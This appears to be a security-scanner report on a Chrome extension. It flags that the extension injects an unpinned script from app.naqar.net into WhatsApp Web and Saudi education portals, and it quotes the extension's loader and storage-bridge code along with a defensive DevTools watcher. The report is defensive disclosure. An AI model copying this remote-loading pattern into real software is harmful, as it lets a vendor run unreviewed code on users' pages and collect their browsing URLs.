Is نقار - المساعد الذكي | للمشرفين safe?
نقار injects a live script from its own server into WhatsApp Web and Saudi Ministry of Education portals on every page load.
On the Saudi Ministry of Education's madrasati.sa and moe.gov.sa sites and on WhatsApp Web, the extension appends a script tag that loads code fresh from app.naqar.net/m/js/main.js, passing along the page's full URL each time. Because this code is fetched at request time with no version pin, the vendor can change what runs on these pages at any moment without a Chrome Web Store review. The same content script also exposes a bridge that lets page-injected elements read and write the extension's local storage.
Who publishes itبرمجة دوت كوم - 5 other listings from the same operator, 3 of them carrying a finding
برمجة دوت كوم - 5 other listings from the same operator, 3 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
5 other listings published from this account, 14k+ users between them. 3 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension injects live vendor code into WhatsApp Web and a Saudi gov portal
Code analysis shows the extension injects a script from app.naqar.net into WhatsApp Web, madrasati.sa, and moe.gov.sa on every page load, sending the page's full URL with no version pin or integrity check.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Static analysis
You open WhatsApp Web, a madrasati.sa school page, or a moe.gov.sa page with the extension installed.
The extension loads a script from its own server and runs it directly on the page, with the page's URL attached to the request.
The response is fetched fresh every time, so its behavior can change without a Chrome Web Store review.
background.js chains into b.js, which fetches the remote script
background.js (code ships unminified)
assets/js/background.jsconst nullthrows = (v) => {if (v == null) throw new Error("it's a null"); return v;}function injectCode(src) {const script = document.createElement('script');script.src = src;script.onload = function() {this.remove();};nullthrows(document.head || document.documentElement).appendChild(script);}injectCode(chrome.runtime.getURL('/assets/js/b.js')); setInterval(() => { if($(".save-me-to-local-storage").length){ var obj = {} obj[$('.save-me-to-local-storage').attr('name')] = $(".save-me-to-local-storage").val() chrome.storage.local.set(obj, function(){ $('.save-me-to-local-storage').remove() }) } if($(".get-local-storage").length){ var obj = {} chrome.storage.local.get([$('.get-local-storage').attr('name')], function(e){ $("body").append(` <textarea style='display: none' class='get-local-storage-value' name='${$('.get-local-storage').attr('name')}'>${e[$('.get-local-storage').attr('name')]}</textarea> `) $('.get-local-storage').remove() }) }}, 100);b.js (code ships unminified)
assets/js/b.jsvar api22 = "https://app.naqar.net"; // frontendfunction loadScript(u, c){ var h = document.getElementsByTagName('head')[0]; var s = document.createElement('script'); s.type = 'text/javascript'; s.src = u; s.onreadystatechange = c; s.onload = c; h.appendChild(s);};loadScript(`${api22}/m/js/main.js?_id=${Math.random()?.toString().split(".")[1]}&url=${encodeURI(window.location.href)}`)- Page you're onhttps://web.whatsapp.com/
The full address of the page you're viewing, including its path and any query parameters, is sent with the request.
- Cache-busting ID839201
A random number generated fresh on every page load, used only to stop the browser from caching the response.
main.js is fetched fresh on every load and was not present in the extension's files at analysis time, so we could not confirm what it currently does. Confirmed: the injection mechanism, full page privileges, and the attached page URL.
Watches the page for the script tags this extension injects, so you can see the chained request to app.naqar.net for yourself.
- Chrome DevTools
- Extension ifffknbigfjfgjiimjcdmilajeejlcdb installed
// Paste into the DevTools Console on web.whatsapp.com, schools.madrasati.sa,// or noor.moe.gov.sa while the extension is installed, then reload the page.const seen = new Set();new MutationObserver((mutations) => { for (const m of mutations) { for (const node of m.addedNodes) { if (node.tagName === 'SCRIPT' && node.src && !seen.has(node.src)) { seen.add(node.src); console.log('[naqar-injection]', new Date().toISOString(), node.src); } } }}).observe(document.documentElement, { childList: true, subtree: true });console.log('Watching for injected <script> tags. Reload the page now.');- 1Open DevTools on a matched site with the extension installed.
- 2Paste this into Console.
- 3Reload and watch for b.js then app.naqar.net/m/js/main.js.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
Where it sends data
Destinations our analysis observed نقار - المساعد الذكي | للمشرفين contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- app.naqar.net
نقار - المساعد الذكي | للمشرفين sends data to app.naqar.net. No other extension we have analysed sends data here.